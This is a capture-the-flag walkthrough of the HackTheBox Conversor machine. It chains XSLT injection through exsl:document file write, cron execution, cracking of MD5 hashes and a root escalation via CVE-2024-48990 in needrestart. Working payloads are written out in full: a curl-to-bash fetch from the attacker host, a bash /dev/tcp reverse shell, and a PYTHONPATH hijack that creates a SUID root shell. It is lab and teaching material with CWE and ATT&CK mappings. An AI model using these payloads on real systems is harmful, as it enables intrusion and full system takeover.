HTB Conversor: XSLT Injection to Root
A walkthrough of the HackTheBox Conversor machine demonstrating XSLT injection for arbitrary file write, cron-based code execution, and privilege escalation through CVE-2024-48990 needrestart exploitation.
HTB Conversor: XSLT Injection to Root
HackTheBox’s Conversor machine is a medium-rated Linux box that showcases modern web application vulnerabilities and Linux privilege escalation techniques. This writeup demonstrates a complete attack chain: supply chain compromise via XSLT injection (MITRE ATT&CK T1195.002), weak cryptographic hashing leading to credential compromise (MITRE ATT&CK T1110.002), and privilege escalation through environment variable injection in SETUID-enabled binaries (MITRE ATT&CK T1574.006).
Initial Reconnaissance
I started with a comprehensive port scan:
sudo nmap -sS -p- -g 53 -Pn -n -T3 $target Scan flags breakdown:
-sS= SYN stealth scan (doesn’t complete TCP handshake)-p-= scan all 65535 ports-g 53= spoof source port 53 (DNS) to bypass basic firewall rules-Pn= skip host discovery, treat target as up-n= no DNS resolution (faster and quieter)-T3= normal timing (balance between speed and stealth)
Output:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-28 12:27 CDT
Nmap scan report for 10.129.74.171
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.17 seconds Next, I ran service detection and basic HTTP enumeration:
nmap -sV -p 80 -T3 -Pn -g 53 --script=http-title,banner,http-headers $target Output:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-28 12:28 CDT
Nmap scan report for 10.129.74.171
Host is up (0.0080s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
| http-headers:
| Server: Apache/2.4.52 (Ubuntu)
| Location: http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb The server is configured to respond by name (conversor.htb) rather than by IP. This is called a Virtual Host. If we browse to the IP, we get a redirect. To interact with the site, we must use the hostname.
I added it to my hosts file:
sudo vim /etc/hosts
# add: 10.129.74.171 conversor.htb Web Application Analysis

After browsing the site, I found an /about page containing the application’s source code - how convenient.
tar xvf source_code.tar.gz Initial inspection revealed some interesting findings:
cat app.py | grep -i "secret"
# app.secret_key = 'Changemeplease'
cat app.py | grep -i import
# from lxml import etree The lxml library caught my attention immediately. I also found a README mentioning that the application uses cron jobs to clean up files:
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab: * * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
This is critical - the system executes every .py file in /var/www/conversor.htb/scripts/ every minute as www-data. If we can write a file there, we get code execution.
Understanding the Vulnerability
Looking at the password handling in app.py:

Passwords are MD5 hashed, which means if we access the database, we can crack them easily. More importantly, they’re likely reused for SSH.
Security Classification:
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm
- Reference: https://cwe.mitre.org/data/definitions/327.html
- MITRE ATT&CK T1110.002: Brute Force - Password Cracking
- Reference: https://attack.mitre.org/techniques/T1110/002/
Now for the main vulnerability - the XML/XSLT conversion function:

The application parses XML and transforms it using XSLT. Let’s examine the parser configuration:
parser = etree.XMLParser(
resolve_entities=False, # blocks classic XXE
no_network=True, # parser won't fetch remote DTD or entity
dtd_validation=False,
load_dtd=False
) The parser is properly configured to prevent XXE attacks. However, the vulnerability isn’t in the XML parser - it’s in the XSLT processor.
The ability to write files doesn't come from the XML parser at all - it comes from the XSLT processor that runs after the XML has been parsed.
When etree.XSLT(xslt_tree) executes the stylesheet, it evaluates every XSLT instruction, including EXSLT extension elements like <exsl:document> which can write arbitrary files. The application doesn’t restrict these extensions.
Security Classification:
- CWE-91: XML Injection (XPath/XSLT)
- Reference: https://cwe.mitre.org/data/definitions/91.html
- MITRE ATT&CK T1195.002: Supply Chain Compromise - Compromise Software Supply Chain
- Reference: https://attack.mitre.org/techniques/T1195/002/
Exploiting XSLT Injection
I crafted an XSLT payload that uses the EXSLT extension to write a Python reverse shell to the cron scripts directory:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="file:///var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.14.109:8000/shell.sh|bash")
</exsl:document>
<xsl:text>Done</xsl:text>
</xsl:template>
</xsl:stylesheet> Exploit chain:
- Submit this XSLT to the converter
- lxml processes it and executes
exsl:document - Writes
shell.pyto the scripts directory - Cron job executes
shell.pywithin 60 seconds
I created shell.sh with a reverse shell payload:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.109/4242 0>&1 Then started my listeners:
python3 -m http.server
nc -lnvp 4242 After uploading the malicious XSLT file and waiting for the cron job to trigger:

Shell acquired! But we’re www-data, not a user yet.
Lateral Movement
Remember that MD5-hashed database? Time to access it.
cd instance/
sqlite3 users.db 
I extracted the password hashes and used crackstation.net to crack them:

With valid credentials, I SSH’d into the box as the user:
ssh fismathack@conversor.htb User flag captured.
Privilege Escalation
I downloaded and ran linpeas for enumeration:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh Linpeas didn’t reveal anything obvious, so I checked sudo permissions:
sudo -l Output:
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart This is a critical misconfiguration. The NOPASSWD directive means fismathack can execute /usr/sbin/needrestart as root without providing a password. This effectively turns needrestart into a SETUID-equivalent binary. If needrestart has any vulnerabilities or can be abused to execute arbitrary code, it provides a direct path to root access with zero authentication required.
Why NOPASSWD is dangerous:
- Removes the authentication barrier that prevents casual privilege escalation
- Any vulnerability in the allowed binary becomes instantly exploitable
- No audit trail of password authentication attempts
- Violates the principle of least privilege
Checking the version:
/usr/sbin/needrestart -v
# needrestart v3.7 This version is vulnerable to CVE-2024-48990.
Understanding CVE-2024-48990
needrestart is a tool that runs as root to scan processes and determine if they need restarting after package updates. When configured with NOPASSWD in sudoers, it effectively becomes a SETUID-equivalent binary that any user can execute with root privileges.
The Vulnerability: Environment Variable Injection in Privileged Context
needrestart reads environment variables like PYTHONPATH and RUBYLIB from user processes via /proc/[pid]/environ and uses them when executing interpreters as root to check installed modules. This creates a privilege escalation vector:
- User runs a Python process with
PYTHONPATH=/tmp/.m - needrestart extracts this environment variable from
/proc/pid/environ - needrestart executes Python as root with the attacker’s
PYTHONPATH - Attacker places malicious
importlib/__init__.soin their directory - Python’s initialization loads and executes the attacker’s code as root
- Malicious code creates a SETUID bash binary owned by root
- User executes SETUID bash to obtain root shell
Security Classifications:
- CVE-2024-48990: needrestart Local Privilege Escalation
- CWE-426: Untrusted Search Path
- Reference: https://cwe.mitre.org/data/definitions/426.html
- MITRE ATT&CK T1574.006: Hijack Execution Flow - Dynamic Linker Hijacking
- Reference: https://attack.mitre.org/techniques/T1574/006/
- MITRE ATT&CK T1548.001: Abuse Elevation Control Mechanism - Setuid and Setgid
- Reference: https://attack.mitre.org/techniques/T1548/001/
Credits: Qualys Threat Research Unit discovered this vulnerability.
Exploitation
I wrote a full exploit for this CVE and published it on GitHub: https://github.com/mladicstefan/CVE-2024-48990
The exploit works by:
- Compiling a malicious shared object that creates a SUID bash binary
- Setting up the environment with
PYTHONPATHpointing to our malicious module - Running a Python process that hangs
- Triggering needrestart from another terminal
- needrestart executes Python as root with our
PYTHONPATH - Our shared object constructor runs as root and creates
/tmp/rootbash
On my attacking machine:
git clone https://github.com/mladicstefan/CVE-2024-48990
cd CVE-2024-48990
./compile.sh
python3 -m http.server 8000 On the target (first terminal):
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py The Python process hangs, waiting for needrestart to scan it.
On the target (second terminal):
sudo needrestart Back in the first terminal, the exploit completes and spawns a root shell:
/tmp/rootbash -p Root flag captured.
Vulnerability Summary
Vulnerabilities Exploited
XSLT Injection (CWE-91): Unrestricted EXSLT extensions allowed arbitrary file write
- Impact: Remote code execution as www-data
- CWE Reference: https://cwe.mitre.org/data/definitions/91.html
- MITRE ATT&CK T1195.002: Supply Chain Compromise
- Reference: https://attack.mitre.org/techniques/T1195/002/
Weak Password Hashing (CWE-327): MD5 used for password storage
- Impact: Credential recovery through hash cracking
- CWE Reference: https://cwe.mitre.org/data/definitions/327.html
- MITRE ATT&CK T1110.002: Brute Force - Password Cracking
- Reference: https://attack.mitre.org/techniques/T1110/002/
CVE-2024-48990: needrestart environment variable injection
- CWE-426: Untrusted Search Path
- Reference: https://cwe.mitre.org/data/definitions/426.html
- MITRE ATT&CK T1574.006: Hijack Execution Flow - Dynamic Linker Hijacking
- Reference: https://attack.mitre.org/techniques/T1574/006/
- MITRE ATT&CK T1548.001: Abuse Elevation Control Mechanism - Setuid and Setgid
- Reference: https://attack.mitre.org/techniques/T1548/001/
- Impact: Privilege escalation to root via SETUID binary creation
Attack Chain Summary
- nmap reconnaissance → discovered SSH and HTTP
- Virtual host enumeration → found conversor.htb
- Source code analysis → identified XSLT processing and cron jobs
- XSLT injection → wrote malicious Python script to cron directory
- Reverse shell → gained access as www-data
- Database extraction → cracked MD5 password hashes
- SSH access → obtained user flag
- Sudo enumeration → found needrestart with NOPASSWD
- CVE-2024-48990 exploitation → privilege escalation to root
- Root access → captured root flag
Lessons Learned
This box demonstrates how modern web frameworks can introduce subtle vulnerabilities:
- XML/XSLT processing libraries may have dangerous features enabled by default
- Automated system maintenance tools running as root need careful security review
- Environment variable handling in privilege transitions is a common weakness
The CVE-2024-48990 exploitation is particularly interesting because it shows how even well-intentioned security tools (needrestart) can become attack vectors when they process untrusted data from unprivileged contexts. needrestart needs to read process information to do its job, but trusting environment variables from those processes created the vulnerability.
Full exploit code and detailed technical breakdown available at: https://github.com/mladicstefan/CVE-2024-48990